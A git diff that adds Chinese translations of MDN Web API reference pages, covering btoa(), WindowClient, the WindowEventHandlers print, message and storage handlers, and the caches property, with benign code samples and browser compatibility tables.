+ + diff --git a/files/zh-cn/web/api/windowbase64/btoa/index.html b/files/zh-cn/web/api/windowbase64/btoa/index.html new file mode 100644 index 0000000000..6b742198a5 --- /dev/null +++ b/files/zh-cn/web/api/windowbase64/btoa/index.html @@ -0,0 +1,171 @@ +--- +title: WindowOrWorkerGlobalScope.btoa() +slug: Web/API/WindowBase64/btoa +tags: + - API + - Base64 + - Web + - WindowOrWorkerGlobalScope + - 参考 + - 字符串 + - 数据 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/btoa +--- +

{{APIRef("HTML DOM")}}

+ +

WindowOrWorkerGlobalScope.btoa() 从 {{jsxref("String")}} 对象中创建一个 base-64 编码的 ASCII 字符串,其中字符串中的每个字符都被视为一个二进制数据字节。

+ +
+

Note: 由于这个函数将每个字符视为二进制数据的字节,而不管实际组成字符的字节数是多少,所以如果任何字符的{{Glossary("code point", "码位")}}超出 0x00 ~ 0xFF 这个范围,则会引发 InvalidCharacterError 异常。请参阅 {{anch("Unicode_字符串")}} ,该示例演示如何编码含有码位超出 0x00 ~ 0xFF 范围的字符的字符串。

+
+ +

语法

+ +
let encodedData = window.btoa(stringToEncode);
+
+ +

参数

+ +
+
stringToEncode
+
一个字符串, 其字符分别表示要编码为 ASCII 的二进制数据的单个字节。
+
+ +

返回值

+ +

一个包含 stringToEncode 的 Base64 表示的字符串。

+ +

示例

+ +
let encodedData = window.btoa("Hello, world"); // 编码
+let decodedData = window.atob(encodedData);    // 解码
+
+ +

备注

+ +

你可以使用此方法对可能导致通信问题的数据进行编码,传输,然后使用 {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} 方法再次解码数据。例如,可以编码控制字符,包括 ASCII 值为 0 到 31 的字符。

+ +

在用 JavaScript 编写 XPCOM 组件时,btoa() 方法也是可用的,虽然全局对象已经不是 {{domxref("Window")}} 了。

+ +

Unicode 字符串

+ +

在多数浏览器中,使用 btoa() 对 Unicode 字符串进行编码都会触发 InvalidCharacterError 异常。

+ +

一种选择是转义任何扩展字符,以便实际编码的字符串是原始字符的 ASCII 表示形式。考虑这个例子,代码来自 Johan Sundström

+ +
// ucs-2 string to base64 encoded ascii
+function utoa(str) {
+    return window.btoa(unescape(encodeURIComponent(str)));
+}
+// base64 encoded ascii to ucs-2 string
+function atou(str) {
+    return decodeURIComponent(escape(window.atob(str)));
+}
+// Usage:
+utoa('✓ à la mode'); // 4pyTIMOgIGxhIG1vZGU=
+atou('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+
+utoa('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE=
+atou('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!"
+
+ +

更好、更可靠、性能更优异的解决方案是使用类型化数组进行转换。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}{{Spec2('HTML WHATWG')}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
+ +

Polyfill

+ +
// Polyfill from  https://github.com/MaxArt2501/base64-js/blob/master/base64.js
+(function() {
+    // base64 character set, plus padding character (=)
+    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
+
+        // Regular expression to check formal correctness of base64 encoded strings
+        b64re = /^(?:[A-Za-z\d+\/]{4})*?(?:[A-Za-z\d+\/]{2}(?:==)?|[A-Za-z\d+\/]{3}=?)?$/;
+
+    window.btoa = window.btoa || function(string) {
+        string = String(string);
+        var bitmap, a, b, c,
+            result = "",
+            i = 0,
+            rest = string.length % 3; // To determine the final padding
+
+        for (; i < string.length;) {
+            if ((a = string.charCodeAt(i++)) > 255 ||
+                (b = string.charCodeAt(i++)) > 255 ||
+                (c = string.charCodeAt(i++)) > 255)
+                throw new TypeError("Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range.");
+
+            bitmap = (a << 16) | (b << 8) | c;
+            result += b64.charAt(bitmap >> 18 & 63) + b64.charAt(bitmap >> 12 & 63) +
+                b64.charAt(bitmap >> 6 & 63) + b64.charAt(bitmap & 63);
+        }
+
+        // If there's need of padding, replace the last 'A's with equal signs
+        return rest ? result.slice(0, rest - 3) + "===".substring(rest) : result;
+    };
+
+    window.atob = window.atob || function(string) {
+        // atob can work with strings with whitespaces, even inside the encoded part,
+        // but only \t, \n, \f, \r and ' ', which can be stripped.
+        string = String(string).replace(/[\t\n\f\r ]+/g, "");
+        if (!b64re.test(string))
+            throw new TypeError("Failed to execute 'atob' on 'Window': The string to be decoded is not correctly encoded.");
+
+        // Adding the padding if missing, for semplicity
+        string += "==".slice(2 - (string.length & 3));
+        var bitmap, result = "",
+            r1, r2, i = 0;
+        for (; i < string.length;) {
+            bitmap = b64.indexOf(string.charAt(i++)) << 18 | b64.indexOf(string.charAt(i++)) << 12 |
+                (r1 = b64.indexOf(string.charAt(i++))) << 6 | (r2 = b64.indexOf(string.charAt(i++)));
+
+            result += r1 === 64 ? String.fromCharCode(bitmap >> 16 & 255) :
+                r2 === 64 ? String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255) :
+                String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255, bitmap & 255);
+        }
+        return result;
+    };
+})()
+
+ +

浏览器兼容性

+ +

{{Compat("api.WindowOrWorkerGlobalScope.btoa")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windowclient/index.html b/files/zh-cn/web/api/windowclient/index.html new file mode 100644 index 0000000000..30073ded26 --- /dev/null +++ b/files/zh-cn/web/api/windowclient/index.html @@ -0,0 +1,167 @@ +--- +title: WindowClient +slug: Web/API/WindowClient +tags: + - API + - Client + - Experimental + - Interface + - NeedsTranslation + - Reference + - Service Workers + - ServiceWorker + - TopicStub + - WindowClient +translation_of: Web/API/WindowClient +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

The WindowClient interface of the ServiceWorker API represents the scope of a service worker client that is a document in a browser context, controlled by an active worker. The service worker client independently selects and uses a service worker for its own loading and sub-resources.

+ +

Methods

+ +

WindowClient inherits methods from its parent interface, {{domxref("Client")}}.

+ +
+
{{domxref("WindowClient.focus()")}}
+
Gives user input focus to the current client. 
+
{{domxref("WindowClient.navigate()")}}
+
Loads a specified URL into a controlled client page.
+
+ +

Properties

+ +

WindowClient inherits properties from its parent interface, {{domxref("Client")}}.

+ +
+
{{domxref("WindowClient.focused")}} {{readonlyInline}}
+
A boolean that indicates whether the current client has focus.
+
{{domxref("WindowClient.visibilityState")}} {{readonlyInline}}
+
Indicates the visibility of the current client. This value can be one of hidden, visible, prerender, or unloaded.
+
+ +

Example

+ +
self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // This looks to see if the current is already open and
+  // focuses if it is
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i < clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' && 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#window-client-interface', 'WindowClient')}}{{Spec2('Service Workers')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
navigate(){{CompatChrome(49.0)}}    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(42.0)}}
navigate(){{CompatNo}}{{CompatNo}}     {{CompatChrome(49.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

+ +

See also

+ + diff --git a/files/zh-cn/web/api/windowclient/navigate/index.html b/files/zh-cn/web/api/windowclient/navigate/index.html new file mode 100644 index 0000000000..7f86cd4700 --- /dev/null +++ b/files/zh-cn/web/api/windowclient/navigate/index.html @@ -0,0 +1,100 @@ +--- +title: WindowClient.navigate() +slug: Web/API/WindowClient/navigate +translation_of: Web/API/WindowClient/navigate +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

{{domxref("WindowClient")}} 接口的 navigate() 方法加载特定的 URL 地址到一个被控制的浏览器页面,并返回一个当前 {{domxref("WindowClient")}} 议的 {{jsxref("Promise")}} 对象。

+ +

语法

+ +
WindowClient.navigate(url).then(function(WindowClient) {
+  // do something with your WindowClient after navigation
+});
+ +

参数

+ +
+
url
+
跳转地址
+
+ +

返回值

+ +

一个 {{domxref("WindowClient")}}决议的{{jsxref("Promise")}}对象。

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#client-navigate-method', 'navigate()')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(49.0)}}{{CompatGeckoDesktop(50)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(50)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 52 Extended Support Release (ESR.)

diff --git a/files/zh-cn/web/api/windoweventhandlers/index.html b/files/zh-cn/web/api/windoweventhandlers/index.html new file mode 100644 index 0000000000..72a8a78eb9 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/index.html @@ -0,0 +1,189 @@ +--- +title: WindowEventHandlers +slug: Web/API/WindowEventHandlers +tags: + - API + - HTML-DOM + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/WindowEventHandlers +--- +
{{APIRef("HTML DOM")}}
+ +

WindowEventHandlers mixin 描述了事件处理程序常见的一些公共接口 ,例如{{domxref("Window")}}和 {{domxref("HTMLBodyElement")}} 和 {{domxref("HTMLFrameSetElement")}}等这些接口都实现了下列特定的事件处理程序。

+ +

WindowEventHandlers不是一个接口,没有这种类型的对象可以创建。

+ +

Properties

+ +

The events properties, of the form onXYZ, are defined on the {{domxref("WindowEventHandlers")}}, and implemented by {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.

+ +
+
{{domxref("WindowEventHandlers.onafterprint")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.
+
{{domxref("WindowEventHandlers.onbeforeprint")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.
+
{{domxref("WindowEventHandlers.onbeforeunload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.
+
{{domxref("WindowEventHandlers.onhashchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.
+
{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.
+
{{domxref("WindowEventHandlers.onmessage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.
+
{{domxref("WindowEventHandlers.onoffline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.
+
{{domxref("WindowEventHandlers.ononline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.
+
{{domxref("WindowEventHandlers.onpagehide")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.
+
{{domxref("WindowEventHandlers.onpageshow")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.
+
{{domxref("WindowEventHandlers.onpopstate")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.
+
{{domxref("WindowEventHandlers.onstorage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.
+
{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}
+
An event handler for unhandled {{jsxref("Promise")}} rejection events.
+
{{domxref("WindowEventHandlers.onunload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.
+
+ +

Methods

+ +

This interface defines no method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. Added onlanguage since the {{SpecName("HTML5 W3C")}} snapshot.
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowEventHandlers (properties where on the target before it).
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onhashchange{{CompatGeckoDesktop(1.9.2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onlanguage{{experimental_inline}}{{CompatGeckoDesktop(32)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onstorage{{CompatGeckoDesktop(45)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onhashchange{{CompatGeckoMobile(1.9.2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onlanguage{{experimental_inline}}{{CompatGeckoMobile(32)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onstorage{{CompatGeckoDesktop(45)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/windoweventhandlers/onafterprint/index.html b/files/zh-cn/web/api/windoweventhandlers/onafterprint/index.html new file mode 100644 index 0000000000..cdf54dcead --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onafterprint/index.html @@ -0,0 +1,107 @@ +--- +title: WindowEventHandlers.onafterprint +slug: Web/API/WindowEventHandlers/onafterprint +tags: + - 打印 +translation_of: Web/API/WindowEventHandlers/onafterprint +--- +
{{ApiRef}}
+ +

{{domxref("WindowEventHandlers")}}的onafterprint属性是用于处理当前窗口的{{event("afterprint")}}事件的{{domxref("EventHandler")}}。这些事件会在被用户打印结束或者中止打印窗口的情况下触发。

+ +

{{event("beforeprint")}}和afterprint 事件允许页面在打印开始前修改它们的内容(比如移除一个横幅等),打印结束后,这些修改会恢复原状。一般情况下,你更喜欢使用 @media print CSS规则,但是在某些情况下这些事件会有他们的必要性。

+ +

语法

+ +
window.addEventListener("afterprint", function(event) { ... });
+window.onafterprint = event handling code
+
+ +

提示

+ +

某些浏览器(包括 Firefox 6 及更高版本和 Internet Explorer)用触发beforeprintafterprint的方式来确定何时进行了打印。你可以在打印期间用这个方式来调整用户界面(UI)的表现(比如在打印过程中展示或隐藏一些界面元素)。

+ +

afterprint会在用户打印完成或取消打印会话后触发。

+ +

规范

+ + + + + + + + + + + + + + +
Specification 规范Status 状态Comment 备注
{{SpecName('HTML WHATWG', '/multipage/webappapis.html#windoweventhandlers', 'onafterprint')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatVersionUnknown}}6.0{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +

更多请见

+ + + +
diff --git a/files/zh-cn/web/api/windoweventhandlers/onbeforeprint/index.html b/files/zh-cn/web/api/windoweventhandlers/onbeforeprint/index.html new file mode 100644 index 0000000000..834ca04cf0 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onbeforeprint/index.html @@ -0,0 +1,62 @@ +--- +title: WindowEventHandlers.onbeforeprint +slug: Web/API/WindowEventHandlers/onbeforeprint +translation_of: Web/API/WindowEventHandlers/onbeforeprint +--- +
{{ApiRef}}
+ +
{{domxref("WindowEventHandlers")}}的onbeforeprint属性是用于处理当前窗口的{{event("beforeprint")}}事件的{{domxref("EventHandler")}}。在打开打印对话窗口之前会触发这些事件。
+ +
+ +
beforeprint{{event("afterprint")}}事件允许网页在打印开始前更改他们的内容(例如:可能是删除一个横幅),然后在打印完成后恢复这些更改。通常,您应该更喜欢使用@media printCSS规则,但是在某些情况下可能有必要使用这些事件。
+ +

语法

+ +
window.addEventListener("beforeprint", function(event) { ... });
+window.onbeforeprint = function(event) { ... };
+
+ +

范例

+ +

Safari没有实现这些事件,但是您可以使用创建与beforeprint事件等效的结果{{domxref("window.matchMedia")}}('print')

+ +
var mediaQueryList = window.matchMedia('print');
+mediaQueryList.addListener(function(mql) {
+  if(mql.matches) {
+    console.log('webkit equivalent of onbeforeprint');
+  }
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注解
{{SpecName('HTML WHATWG', '#handler-window-onbeforeprint', 'onbeforeprint')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowEventHandlers.onbeforeprint")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/windoweventhandlers/onlanguagechange/index.html b/files/zh-cn/web/api/windoweventhandlers/onlanguagechange/index.html new file mode 100644 index 0000000000..ccabcc1c2e --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onlanguagechange/index.html @@ -0,0 +1,101 @@ +--- +title: WindowEventHandlers.onlanguagechange +slug: Web/API/WindowEventHandlers/onlanguagechange +translation_of: Web/API/WindowEventHandlers/onlanguagechange +--- +

{{APIRef("HTML DOM")}}{{SeeCompatTable}}

+ +

WindowEventHandlers.onlanguagechange 事件是一个属性,包含待执行的代码。当 {{domxref("Event")}} 类型的 {{event("languagechange")}} 事件被这些接口实现的对象(如 {{domxref("Window")}}、{{domxref("HTMLBodyElement")}} 或者 {{domxref("HTMLIFrameElement")}} 等对象)触发时,该事件属性的代码将被运行。这样的事件在浏览器通知更佳的语言列表已被更新后被触发。关于语言列表的介绍,您可访问:{{domxref("NavigatorLanguage.languages")}}。

+ +

语法

+ +
object.onlanguagechange = function;
+
+ +

+ + + +

例子

+ +
window.onlanguagechange = function(ev) { alert("languagechange event detected!"); };
+
+ +

标准

+ + + + + + + + + + + + + + + + +
标准状态备注
{{ SpecName('HTML WHATWG', '#handler-workerglobalscope-onlanguagechange', 'WindowEventHandler.onlanguagechange') }}{{ Spec2('HTML WHATWG') }}初始版本
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持{{ CompatUnknown() }}{{ CompatGeckoDesktop(32.0) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(32.0) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoweventhandlers/onmessage/index.html b/files/zh-cn/web/api/windoweventhandlers/onmessage/index.html new file mode 100644 index 0000000000..bdbcdc3f2f --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onmessage/index.html @@ -0,0 +1,84 @@ +--- +title: onmessage +slug: Web/API/WindowEventHandlers/onmessage +translation_of: Web/API/WindowEventHandlers/onmessage +--- +

{{APIRef("HTML DOM")}}{{ SeeCompatTable() }}

+ +

{{domxref("WindowEventHandlers")}}的onmessage 属性是当对象接收到{{event("message")}} 事件时被调用的{{domxref("EventHandler")}} .

+ +

语法

+ +
window.addEventListener('message', function(event) { ... })
+window.onmessage = function(event) { ... }
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-window-onmessage','onmessage')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(47)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(47)}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/windoweventhandlers/onmessageerror/index.html b/files/zh-cn/web/api/windoweventhandlers/onmessageerror/index.html new file mode 100644 index 0000000000..609f9a9923 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onmessageerror/index.html @@ -0,0 +1,119 @@ +--- +title: WindowEventHandlers.onmessageerror +slug: Web/API/WindowEventHandlers/onmessageerror +translation_of: Web/API/WindowEventHandlers/onmessageerror +--- +
{{APIRef("HTML DOM")}}
+ +

 

+ +

{{domxref("WindowEventHandlers")}}接口的onmessageerror事件处理器是一个 {{domxref("EventListener")}},每当一个类型为 messageerror 的 {{domxref("EventListener")}} 事件在一个窗口被触发 --也就是说,当它收到的消息不能是{{glossary("Deserialization", "deserialized")}} 。

+ +

{{AvailableInWorkers}}

+ +

 

+ +

语法

+ +
window.onmessageerror = function() { ... };
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#handler-window-onmessageerror', 'onmessageerror')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(60)}}{{CompatUnknown}}{{CompatGeckoDesktop(57)}}{{CompatUnknown}}{{CompatOpera(47)}}{{CompatUnknown}}
Available in workers{{CompatChrome(60)}}{{CompatUnknown}}{{CompatGeckoDesktop(57)}}{{CompatUnknown}}{{CompatOpera(47)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatGeckoMobile(57)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(47)}}{{CompatUnknown}}
Available in workers{{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatGeckoMobile(57)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(47)}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/windoweventhandlers/onstorage/index.html b/files/zh-cn/web/api/windoweventhandlers/onstorage/index.html new file mode 100644 index 0000000000..fe7dc2a7cc --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onstorage/index.html @@ -0,0 +1,98 @@ +--- +title: WindowEventHandlers.onstorage +slug: Web/API/WindowEventHandlers/onstorage +tags: + - API + - Web Storage + - WindowEventHandlers + - 属性 +translation_of: Web/API/WindowEventHandlers/onstorage +--- +
{{ ApiRef() }}
+ +

WindowEventHandlers.onstorage 属性包含一个在{{event("storage")}}事件触发时的事件句柄。 

+ +

注意:该事件不在导致数据变化的当前页面触发(如果浏览器同时打开一个域名下面的多个页面,当其中的一个页面改变 sessionStoragelocalStorage 的数据时,其他所有页面的  storage  事件会被触发,而原始页面并不触发 storage 事件)

+ +

语法

+ +
windowObj.onstorage = function() { ... };
+ +

用例

+ +
window.onstorage = function(e) {
+  console.log( e.key + ' 键已经从 ' + e.oldValue + ' 改变为 ' + e.newValue + '.');
+};
+ +

说明书

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-window-onstorage','onstorage')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatGeckoDesktop(45)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(45)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/caches/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/caches/index.html new file mode 100644 index 0000000000..8debcc3322 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/caches/index.html @@ -0,0 +1,127 @@ +--- +title: WindowOrWorkerGlobalScope.caches +slug: Web/API/WindowOrWorkerGlobalScope/caches +translation_of: Web/API/WindowOrWorkerGlobalScope/caches +--- +

{{APIRef()}}{{SeeCompatTable}}

+ +

caches 是{{domxref("WindowOrWorkerGlobalScope")}}接口的一个只读属性,它返回了与当前上下文紧密相关的{{domxref("CacheStorage")}}对象。此对象激活了诸如存储用于离线使用的资产,并生成对请求生成自定义响应等功能。

+ +

语法

+ +
var myCacheStorage = self.caches; // or just caches
+
+ +

+ +

{{domxref("CacheStorage")}} 对象.

+ +

例子

+ +

下面的例子展示了你在service worker上下文中如何应该运用cache对离线资产的进行存储。

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll(
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      );
+    })
+  );
+});
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#self-caches', 'caches')}}{{Spec2('Service Workers')}}Defined in a WindowOrWorkerGlobalScope partial in the newest spec.
{{SpecName('Service Workers')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support40.0{{CompatGeckoDesktop(42)}}
+ {{CompatGeckoDesktop(52)}}[1]
{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
